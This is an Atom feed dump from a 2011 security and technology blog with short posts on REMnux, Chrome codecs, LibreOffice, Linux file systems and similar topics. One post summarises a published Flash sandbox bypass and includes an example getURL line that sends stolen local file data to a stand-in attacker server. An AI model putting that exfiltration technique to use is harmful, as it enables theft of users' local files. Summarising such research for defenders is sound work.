href='http://www.blogger.com/feeds/27246961/posts/default/8248588632852719476'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8248588632852719476'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/inguma-penetration-testing.html' title='Inguma – The Penetration Testing &amp; Vulnerability Research Toolkit'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6666239068100175969</id><published>2011-01-22T16:25:00.000+08:00</published><updated>2011-01-24T16:27:53.372+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><title type='text'>Google Code University</title><content type='html'>Learn programming at &lt;a href="http://code.google.com/edu/"&gt;Google Code University&lt;/a&gt;. It&amp;nbsp;does not require registration and materials are free to use.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6666239068100175969?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6666239068100175969'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6666239068100175969'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/google-code-university.html' title='Google Code University'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-1658942495116539335</id><published>2011-01-17T10:42:00.000+08:00</published><updated>2011-01-17T10:42:09.064+08:00</updated><title type='text'>Switch Between Multiple Gmail Accounts With a URL Hack [URL Hacks]</title><content type='html'>&lt;a href="http://lifehacker.com/5733636/switch-between-multiple-gmail-accounts-with-a-url-hack"&gt;Switch Between Multiple Gmail Accounts With a URL Hack [URL Hacks]&lt;/a&gt;: "&lt;p&gt;&lt;a rel="lytebox" href="http://cache.gawkerassets.com/assets/images/17/2011/01/googleurlhack.png"&gt;&lt;img src="http://cache.gawkerassets.com/assets/images/17/2011/01/500x_googleurlhack.jpg" width="500" alt="Switch Between Multiple Gmail Accounts With a URL Hack" /&gt;&lt;/a&gt;We were pretty stoked when &lt;a href="http://lifehacker.com/5605600/gmail-lets-you-switch-between-multiple-accounts"&gt;Google debuted its multiple account sign-in feature&lt;/a&gt;, and reader Sam has discovered a way to switch between accounts faster using a small URL tweak.&lt;/p&gt;&lt;p&gt;I was flipping between two Gmail account tabs using Google's multiple logins feature, and I noticed that the two URLs are almost identical: &lt;code&gt;https://mail.google.com/mail/u/0/#inbox&lt;/code&gt; and &lt;code&gt;https://mail.google.com/mail/u/1/#inbox&lt;/code&gt;. It turns out that switching between the 0 and 1 (and presumably higher numbers if there are more than 2 accounts logged in) switches accounts. In particular, since there is no keyboard shortcut for switching between accounts, editing the URL may be the fastest way to do so using only the keyboard.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;i&gt;In fact, the fastest way to switch between them using only the keyboard would be to bookmark the sites and &lt;a href="http://lifehacker.com/5731656/how-to-perform-nearly-any-task-from-your-browsers-address-bar"&gt;create address bar keywords&lt;/a&gt; for them, so you can flip back and forth using just a few keystrokes instead of having to use your mouse. Thanks, Sam!&lt;/i&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-1658942495116539335?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://lifehacker.com/5733636/switch-between-multiple-gmail-accounts-with-a-url-hack' title='Switch Between Multiple Gmail Accounts With a URL Hack [URL Hacks]'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1658942495116539335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1658942495116539335'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/switch-between-multiple-gmail-accounts.html' title='Switch Between Multiple Gmail Accounts With a URL Hack [URL Hacks]'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-1165449039472453287</id><published>2011-01-15T21:06:00.001+08:00</published><updated>2011-02-25T21:22:48.911+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='REM'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>REMnux Version 2.0 is released</title><content type='html'>&lt;a href="http://remnux.org/"&gt;REMnux &lt;/a&gt;is a lightweight Linux distribution for assisting malware analysts in reverse-engineering malicious software. REMnux version 2 was released few days back.&lt;br /&gt;&lt;br /&gt;Download the new version of REMnux from its main page as a virtual appliance and/or as a Live CD. Here're the quick highlight of the tools it supports.&lt;br /&gt;&lt;br /&gt;Malicious Websites Analysis:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Updated version of Jsunpack-n (proxy support, encrypted PDF handling)&lt;/li&gt;&lt;li&gt;Includes Stunnel (for interception of SSL sessions)&lt;/li&gt;&lt;li&gt;Includes RABCDAsm toolkit for RE malicious Flash (SWF) programs.&lt;/li&gt;&lt;li&gt;Includes tor and torsocks (for anonymizing interactions with suspicious websites)&lt;/li&gt;&lt;li&gt;Includes Burp Suite Free Edition.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Memory Forensics:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Updated Volatility memory forensics framework to version 1.4 RC 1 (support Vista and 7).&amp;nbsp;&lt;/li&gt;&lt;li&gt;Includes AESKeyFinder and RSAKeyFinder tools (for finding AES and RSA keys in a memory image).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Others:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Includes pyOLEScanner.py (for analysis of malicious Microsoft Office documents).&lt;/li&gt;&lt;li&gt;Includes libemu library to obtain the “sctest” tool (for shellcode analysis).&lt;/li&gt;&lt;li&gt;Added the “whois” utility.&lt;/li&gt;&lt;li&gt;Added xortools.py and pescanner.py tools (from Malware Analyst’s Cookbook).&lt;/li&gt;&lt;li&gt;Installed VBinDiff for viewing and comparing files.&lt;/li&gt;&lt;li&gt;Installed ircII to supplement the Irssi IRC client.&lt;/li&gt;&lt;li&gt;Added the VirusTotal VTzilla Firefox extension.&lt;/li&gt;&lt;li&gt;Added md5deep to assist with hash calculating-operations.&lt;/li&gt;&lt;li&gt;Added ClamAV for manually scanning suspicious files and generating signatures.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-1165449039472453287?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1165449039472453287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1165449039472453287'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/remnux-version-20-is-released.html' title='REMnux Version 2.0 is released'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-2404771530259755607</id><published>2011-01-13T21:34:00.001+08:00</published><updated>2011-01-13T21:34:56.849+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><category scheme='http://www.blogger.com/atom/ns#' term='0day'/><title type='text'>Unpatch Microsoft Vulnerabilities</title><content type='html'>I saw this this morning on the risk currently being tracked by MSRC at&amp;nbsp;&lt;a href="http://blogs.technet.com/b/srd/archive/2011/01/07/assessing-the-risk-of-public-issues-currently-being-tracked-by-the-msrc.aspx"&gt;http://blogs.technet.com/b/srd/archive/2011/01/07/assessing-the-risk-of-public-issues-currently-being-tracked-by-the-msrc.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;However, there is a longer list of unpatch Microsoft&amp;nbsp;vulnerabilities&amp;nbsp;at &lt;a href="http://www.vupen.com/english/Unpatched-Microsoft-Vulnerabilities.php"&gt;VUPEN Security&lt;/a&gt;. Any 0day there?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-2404771530259755607?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2404771530259755607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2404771530259755607'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/unpatch-microsoft-vulnerabilities.html' title='Unpatch Microsoft Vulnerabilities'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6403987260517297045</id><published>2011-01-13T15:10:00.000+08:00</published><updated>2011-01-13T15:10:28.640+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='BSOD'/><title type='text'>Notmyfault Colors Your BSOD</title><content type='html'>Remember&amp;nbsp;&lt;a href="http://myseq.blogspot.com/2010/12/make-simple-things-difficult.html"&gt;Make Simple Things Difficult&lt;/a&gt;? There is a new tool from sysinternal to customized the color of BSOD for you easily.&lt;br /&gt;&lt;br /&gt;Goto &lt;a href="http://blogs.technet.com/b/markrussinovich/archive/2011/01/11/3379158.aspx"&gt;"Blue Screen" in Designers Colors with in One Click&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6403987260517297045?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6403987260517297045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6403987260517297045'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/notmyfault-colors-your-bsod.html' title='Notmyfault Colors Your BSOD'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5987932167404276436</id><published>2011-01-13T15:03:00.000+08:00</published><updated>2011-01-13T15:03:21.753+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='office'/><title type='text'>Replace OpenOffice with LibreOffice</title><content type='html'>The&amp;nbsp;development&amp;nbsp;on &lt;a href="http://www.openoffice.org/"&gt;OpenOffice&lt;/a&gt; has been slowing down since the acquisition by &lt;a href="http://www.oracle.com/us/products/applications/open-office/index.html"&gt;Oracle&lt;/a&gt;. It is time to look for a replacement.&lt;br /&gt;&lt;br /&gt;Today, I found this, called &lt;a href="http://www.documentfoundation.org/download/"&gt;LibreOffice&lt;/a&gt;. It is available for Linux (x86 and 64 bit), Mac OS X, and Windows.&amp;nbsp;Most importantly, it supports docx format natively.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5987932167404276436?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5987932167404276436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5987932167404276436'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/replace-openoffice-with-libreoffice.html' title='Replace OpenOffice with LibreOffice'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-4874425991024149621</id><published>2011-01-13T10:51:00.001+08:00</published><updated>2011-01-13T10:52:36.004+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WebM'/><category scheme='http://www.blogger.com/atom/ns#' term='Google Chrome'/><title type='text'>Google Chrome to Drop Support for H.264</title><content type='html'>&lt;a href="http://googlesystem.blogspot.com/2011/01/google-chrome-to-drop-support-for-h264.html"&gt;Google Chrome to Drop Support for H.264&lt;/a&gt;: "&lt;a href="http://blog.chromium.org/2011/01/html-video-codec-support-in-chrome.html"&gt;Chromium's blog informs&lt;/a&gt; that Google Chrome will drop support for  H.264 in the coming months and will only support WebM (VP8) and Theora codecs.&lt;br /&gt;&lt;blockquote&gt;We expect even more rapid innovation in the web media platform in the coming year and are focusing our investments in those technologies that are developed and licensed based on open web principles. To that end, we are changing Chrome's HTML5 &amp;lt;video&amp;gt; support to make it consistent with the codecs already supported by the open Chromium project. Specifically, we are supporting the WebM (VP8) and Theora video codecs, and will consider adding support for other high-quality open codecs in the future. Though H.264 plays an important role in video, as our goal is to enable open innovation, support for the codec will be removed and our resources directed towards completely open codec technologies.&lt;/blockquote&gt;&lt;br /&gt;Google decided to pick sides, much like Mozilla and Opera, in an effort to encourage developers to use WebM. Right now, the only important website that uses WebM is YouTube, Google's video sharing service. Internet Explorer, Safari and iOS devices are unlikely to support WebM, while &lt;a href="http://blog.webmproject.org/2011/01/availability-of-webm-vp8-video-hardware.html"&gt;hardware acceleration&lt;/a&gt; and &lt;a href="http://blogs.adobe.com/flashplatform/2010/05/adobe_support_for_vp8.html"&gt;Flash support&lt;/a&gt; are expected later this year.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://daringfireball.net/linked/2011/01/11/h264-chrome"&gt;John Gruber thinks&lt;/a&gt; that 'this is just going to push publishers toward forcing Chrome users to use Flash for video playback — and that the video that gets sent to Flash Player will be encoded as H.264'. He also finds it ironic that Google Chrome bundles Adobe's proprietary Flash plugin, which is a great software for playing H.264 videos.&lt;br /&gt;&lt;br /&gt;VP8 has a long way to go before becoming the codec of choice for Web videos and Google decided to make it more popular by dropping support for the competing codec from its browser. Last year, &lt;a href="http://bits.blogs.nytimes.com/2010/04/27/googles-andy-rubin-on-everything-android/"&gt;Andy Rubin said&lt;/a&gt; that sometimes being open 'means not being militant about the things consumer are actually enjoying,' but that's not the case here.&lt;br /&gt;&lt;div&gt;&lt;img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/18157064-8413404167313276027?l=googlesystem.blogspot.com" width="1" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-4874425991024149621?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4874425991024149621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4874425991024149621'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/google-chrome-to-drop-support-for-h264.html' title='Google Chrome to Drop Support for H.264'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-1844232213943283869</id><published>2011-01-06T16:33:00.001+08:00</published><updated>2011-01-06T16:33:34.978+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SANS'/><category scheme='http://www.blogger.com/atom/ns#' term='GREM'/><title type='text'>GREM Certificate</title><content type='html'>Thanks a lot,&amp;nbsp;I received my GREM&amp;nbsp;certificate&amp;nbsp;from SANS today. ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-1844232213943283869?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1844232213943283869'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1844232213943283869'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/grem-certificate.html' title='GREM Certificate'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-9113494732267278715</id><published>2011-01-06T16:25:00.002+08:00</published><updated>2011-01-06T16:34:59.161+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Flash'/><title type='text'>Bypassing Flash Local-with-filesystem Sandbox</title><content type='html'>Background:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Flash is designed around the sandbox concept.&lt;/li&gt;&lt;li&gt;Flash cannot read local files except for the cookie files.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;What Billy Rios did recently in his research:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Bypass the restriction and make flash to access any local and remote files.&lt;/li&gt;&lt;li&gt;Found a protocol handler that wasn't blacklisted by Adobe.&lt;/li&gt;&lt;li&gt;User will not be prompted for permission when bypassing attempts.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Summary of how it works:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Using file:// and point to local system. Eg:&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;file://\\192.168.1.1\stolen-data-here\&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Then pass the content back to attacker server via getURL(). Eg:&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”);&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;References:&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://isc.sans.edu/diary.html?storyid=10219"&gt;http://isc.sans.edu/diary.html?storyid=10219&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://isc.sans.edu/diary.html?storyid=10219"&gt;http://xs-sniper.com/blog/2011/01/04/bypassing-flash%E2%80%99s-local-with-filesystem-sandbox/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-9113494732267278715?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/9113494732267278715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/9113494732267278715'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/bypassing-flash-local-with-filesystem_06.html' title='Bypassing Flash Local-with-filesystem Sandbox'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5213876195650223516</id><published>2011-01-03T16:39:00.000+08:00</published><updated>2011-01-11T16:51:07.082+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Which Linux File System Should You Choose?</title><content type='html'>Just finish reading an article explaining about latest Linux file system. It has been quite some time that not follow up with Linux file system. And this article is a good memory refresh for me.&lt;br /&gt;&lt;br /&gt;Here are some great points for me (from the article):&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Compare to ext2/ext3, ext4 is better for SSD and general performance.&lt;/li&gt;&lt;li&gt;BtrFS makes great for servers due to it's features on performance, snapshot, transparent compression, and online defragmentation.&lt;/li&gt;&lt;li&gt;ReiserFS is great for small files (log), database and email servers.&lt;/li&gt;&lt;li&gt;XFS only works great for large file that requires constant throughput &amp;nbsp;(media files).&lt;/li&gt;&lt;li&gt;JFS works great for both small and large files, with very low CPU usage.&lt;/li&gt;&lt;li&gt;ZFS, an advanced file system that shows great performance in large disk arrays, supports drive pooling, snapshots, and dynamic disk striping.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;nbsp;&lt;a href="http://www.howtogeek.com/howto/33552/htg-explains-which-linux-file-system-should-you-choose/"&gt;http://www.howtogeek.com/howto/33552/htg-explains-which-linux-file-system-should-you-choose/&lt;/a&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1 id="title" style="color: #332e38; display: block; font-family: 'Segoe UI', Georgia, Times, 'Times New Roman'; font-size: 1.33em; font-weight: bold; line-height: 1.25em; margin-bottom: 1.5em;"&gt;HTG Explains: Which Linux File System Should You Choose?&lt;/h1&gt;&lt;div class="content" style="color: #332e38; font-family: 'Segoe UI', Georgia, Times, 'Times New Roman'; font-size: 18px; line-height: 25px;"&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;img alt="" class="largeImage" height="250" src="http://www.howtogeek.com/wp-content/uploads/2010/12/banner.jpg" style="clear: both; display: block; float: none; height: auto; margin-bottom: 1em; margin-left: auto; margin-right: auto; margin-top: 1em; max-width: 100%; word-wrap: break-word;" width="640" /&gt;&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;File systems are one of the layers beneath your operating system that you don’t think about—unless you’re faced with the plethora of options in Linux. Here’s how to make an educated decision on which file system to use.&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;The landscape of the Linux file system support is&amp;nbsp;drastically&amp;nbsp;different from Windows and OS X. In Windows and OS X you can find software that will add support for non-standard file systems, but both operating systems can only be installed on their native file system and third party support is added after the fact.&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;Linux on the other hand has a vast array of supported file systems built into the kernel. But how are you supposed to know which file system to pick when installing? We will take a look at some of the most popular choices available and give you use cases to consider—the choice is ultimately up to you based on your needs.&lt;br style="clear: left; word-wrap: break-word;" /&gt;&lt;span id="more-33552" style="word-wrap: break-word;"&gt;&lt;/span&gt;&lt;br style="clear: left; word-wrap: break-word;" /&gt;&lt;em style="word-wrap: break-word;"&gt;Image by&amp;nbsp;&lt;a href="http://www.flickr.com/photos/dijutaltim/4232353526/" style="color: #3355cc; text-decoration: none; word-wrap: break-word;" target="_new"&gt;DijutalTim&lt;/a&gt;&lt;/em&gt;&lt;/div&gt;&lt;h3 style="font-size: 1.05em; word-wrap: break-word;"&gt;What is Journaling?&lt;/h3&gt;&lt;div style="word-wrap: break-word;"&gt;Before we go to far down the rabbit hole talking about options, we need to first take a quick look at journaling. The only real thing you need to know about journaling is that every modern file system uses journaling in some form or another and on any desktop or laptop you are setting up with Linux you will want to use a journaling file system.&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;img alt="" class="largeImage" height="250" src="http://www.howtogeek.com/wp-content/uploads/2010/12/Journal.png" style="clear: both; display: block; float: none; height: auto; margin-bottom: 1em; margin-left: auto; margin-right: auto; margin-top: 1em; max-width: 100%; word-wrap: break-word;" width="640" /&gt;&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;Journaling is only used when writing to a disk and it acts as a sort of punch clock for all writes. This fixes the problem of disk&amp;nbsp;corruption&amp;nbsp;when things are written to the hard drive and then the computer crashes or power is lost. Without a journal the operating system would have no way to know if the file was completely written to disk.&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;With a journal the file is first written to the journal, punch-in, and then the journal writes the file to disk when ready. Once it has&amp;nbsp;successfully&amp;nbsp;written to the disk, it is removed from the journal, punch-out, and the operation is complete. If power is lost while being&amp;nbsp;written to disk the file system can check the journal for all operations that have not yet been completed and remember where it left off.&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;The biggest downside to journaling is that it sacrifices some performance in exchange for stability. There is more overhead to write a file to disk but file systems get around this overhead by not writing the full file to the journal. Instead only the file metadata, inode, or disk location is recorded before actually being written to disk.&lt;/div&gt;&lt;h3 style="font-size: 1.05em; word-wrap: break-word;"&gt;File System Options&lt;/h3&gt;&lt;div style="word-wrap: break-word;"&gt;As we look at some of the major file systems available to Linux we are going to touch&amp;nbsp;briefly&amp;nbsp;on each one and give a couple suggestions for when you may or may not want to use the file system based on features. This in no way means these file systems cannot be used in other cases, these suggestions are just areas where each file system will excel.&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;img alt="" class="largeImage" height="200" src="http://www.howtogeek.com/wp-content/uploads/2010/12/ext.png" style="clear: both; display: block; float: none; height: auto; margin-bottom: 1em; margin-left: auto; margin-right: auto; margin-top: 1em; max-width: 100%; word-wrap: break-word;" width="600" /&gt;&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;strong style="word-wrap: break-word;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Extended_file_system" style="color: #3355cc; text-decoration: none; word-wrap: break-word;" target="_new"&gt;Ext&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;stands for Extended file system and was the first created specifically for Linux. It has had four revisions and each one has added fairly significant features. The first version of Ext was a major upgrade from the Minix file system used at the time, but it lacks major features used in today’s computing.&lt;/div&gt;&lt;ul style="word-wrap: break-word;"&gt;&lt;li style="word-wrap: break-word;"&gt;At this time you probably should not use Ext in any machine due to its limitation and age. It also is no longer supported in many distributions.&lt;/li&gt;&lt;/ul&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;strong style="word-wrap: break-word;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Ext2" style="color: #3355cc; text-decoration: none; word-wrap: break-word;" target="_new"&gt;Ext2&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;is not a journaling file system, and when introduced was the first to allow for extended file attributes and 2 terabyte drives. Because Ext2 does not use a journal it has significantly less writes applied to the disk.&lt;/div&gt;&lt;ul style="word-wrap: break-word;"&gt;&lt;li style="word-wrap: break-word;"&gt;Due to lower write requirements, and hence lower erases, it is ideal for flash memory especially on USB flash drives.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;Modern SSDs have a increased life span and additional features that can negate the need for using a non-journaling file systems.&lt;/li&gt;&lt;/ul&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;strong style="word-wrap: break-word;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Ext3" style="color: #3355cc; text-decoration: none; word-wrap: break-word;" target="_new"&gt;Ext3&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;is basically just Ext2 with journaling. The aim of Ext3 was to be backwards compatible with Ext2 and therefore disks can be converted between the two without needing to format the drive. The&amp;nbsp;problem&amp;nbsp;with keeping&amp;nbsp;compatibility&amp;nbsp;is many of the limitations of Ext2 still exist in Ext3. The benefit of keeping backwards&amp;nbsp;compatibility&amp;nbsp;is the fact that most of the testing, bug fixes, and use cases for Ext2 also apply to Ext3 making it stable and fast.&lt;/div&gt;&lt;ul style="word-wrap: break-word;"&gt;&lt;li style="word-wrap: break-word;"&gt;Use if you need to upgrade a previous Ext2 file system to have journaling.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;You will probably get the best database performance from Ext3 due to years of&amp;nbsp;optimizations.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;Not the best choice for file servers because it lacks disk snapshots and file recovery is very difficult if deleted.&lt;/li&gt;&lt;/ul&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;strong style="word-wrap: break-word;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Ext4" style="color: #3355cc; text-decoration: none; word-wrap: break-word;" target="_new"&gt;Ext4&lt;/a&gt;&lt;/strong&gt;, just like Ext3 before it, keeps backwards&amp;nbsp;compatibility&amp;nbsp;with its predecessors. As a matter of fact, you can mount Ext2 and Ext3 as an Ext4 file system in Linux and that alone can increase performance under certain conditions. You can also mount an Ext4 file system as Ext3 without ill effects.&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;Ext4 reduces file fragmentation, allows for larger volumes and files, and employs delayed allocation which helps with flash memory life as well as fragmentation. Although it is used in other file systems, delayed allocation has potential for data loss and has come under some scrutiny.&lt;/div&gt;&lt;ul style="word-wrap: break-word;"&gt;&lt;li style="word-wrap: break-word;"&gt;A better choice for SSDs than Ext3 and improves on general performance over both previous Ext versions. If this is your distro’s default supported file system, you should probably stick with it for any desktop or laptop you set up.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;It also shows promising performance numbers for database servers, but hasn’t been around as long as Ext3.&lt;/li&gt;&lt;/ul&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;img alt="" class="largeImage" height="204" src="http://www.howtogeek.com/wp-content/uploads/2010/12/not-btrfs.png" style="clear: both; display: block; float: none; height: auto; margin-bottom: 1em; margin-left: auto; margin-right: auto; margin-top: 1em; max-width: 100%; word-wrap: break-word;" width="477" /&gt;&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;strong style="word-wrap: break-word;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Btrfs" style="color: #3355cc; text-decoration: none; word-wrap: break-word;" target="_new"&gt;BtrFS&lt;/a&gt;&lt;/strong&gt;, pronounced “Butter” or “Better” FS,&amp;nbsp;is being 